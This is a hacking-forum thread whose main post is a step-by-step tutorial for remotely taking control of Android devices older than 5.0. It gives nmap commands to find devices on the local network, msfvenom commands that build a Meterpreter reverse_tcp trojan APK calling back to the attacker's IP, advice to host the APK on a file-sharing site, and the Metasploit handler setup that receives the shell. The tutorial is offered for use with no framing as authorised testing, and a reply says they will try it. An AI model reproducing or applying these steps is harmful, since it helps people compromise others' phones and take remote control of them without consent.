

# Forum:[Hack Forums](#)

Thread: [Remotely infecting an Android device using MSFVenom](#)

**Abducted** - March 8, 2018, 4:44 am

Found this old article of mine, was supposed to be published by one website but I've quit working with them a while ago so I'll post it here, P.S. - not uploading the pictures 'cause I've added the watermarks of the website to it back then. Let me know what you think in the comments.

## Remotely infecting an Android device using MSFVenom

Today we're trying to remotely infect an Android device under 5.0 and control it with the help of a tool from Metasploit Framework - the MSFVenom. It will be quite easy but we'll be going in depth in this tutorial. What you'll need for this tutorial is:

- A computer with internet connection, nmap and MSF (Metasploit Framework)
- An Android device (preferably on the same network for this tutorial)

## Finding the local IP address of a device

We will be using nmap for this specific task. Scan the local network with:

Code `nmap -sP -PA22,3389,25 192.168.1.1/24 --max-rate 100` From the output we can see that the Android device is running on the IP 192.168.1.213 in this case.

Next step will be setting up our Trojan.

## Generating the Trojan using MSFVenom

Let's first find our platform in MSFVenom with

Code `msfvenom --help-platforms` Your output will be something like this:

I hope it's obvious that we'll be specifying android as our platform.

Let's search for suitable payloads now using

Code `msfvenom --list payloads | grep "android"` (the first part lists all available payloads, while the second only prints out ones containing the word "android").

For this tutorial we'll be using `android/meterpreter/reverse_tcp`, a payload that connects back to the attacker's host through a TCP connection, where it takes the commands from.

Let's list our payload options using

Code `msfvenom --payload android/meterpreter/reverse_tcp --payload-options` Here we'll see lots of options, but only the basic options will matter. We'll need LHOST to be set to attacker's machine local IP, let's check it using `ifconfig`

In our case it's 192.168.192, so let's add it to our command by adding `LHOST=<your_ip>`, with `<your_ip>` being your (attacker's) machine's local IP. Your command will look something like this:

Code `msfvenom --payload android/meterpreter/reverse_tcp LHOST=<your_ip>` What's left is just outputting our generated payload into an Apk, so just add `R > /root/Payload.apk`

Your line will now look like this:

Code `msfvenom --payload android/meterpreter/reverse_tcp LHOST=<your_ip> R >`  
`/root/Payload.apk`

Now upload the file to some file sharing website, my favorite for such tasks is FileDropper.  
Great, since we have the file uploaded, the following step is awaiting

### Starting the listener

Starting the listener will be very easy. Run the Metasploit console by executing the command `msfconsole`

Then, execute `use exploit/multi/handler` (this is the handler for our incoming Trojan TCP connections), and set the payload to the one we used before (`set payload android/meterpreter/reverse_tcp`), then set your LHOST to your local IP again, then run the command `exploit`

Great, this step is done. Let's move on to the next one.

### Running the Apk on the device

This step is self-explanatory and there is no need to discuss it on this article.

That's it! You'll get the connection on your handler where you can further execute your commands!  
If the Apk didn't open on your device, means it's 5.0 or newer, but we're hoping to release a tutorial for these devices soon, too.

Have fun hacking!

**sydfffe** - March 9, 2018, 12:38 pm

will do give a try thankies

**Abducted** - March 9, 2018, 1:03 pm

(Mar 9, 2018 01:38 PM)syddffe Wrote: [\[CITE\]](#) will do give a try thankies

Thank you too. Have fun

Cheers,  
Abducted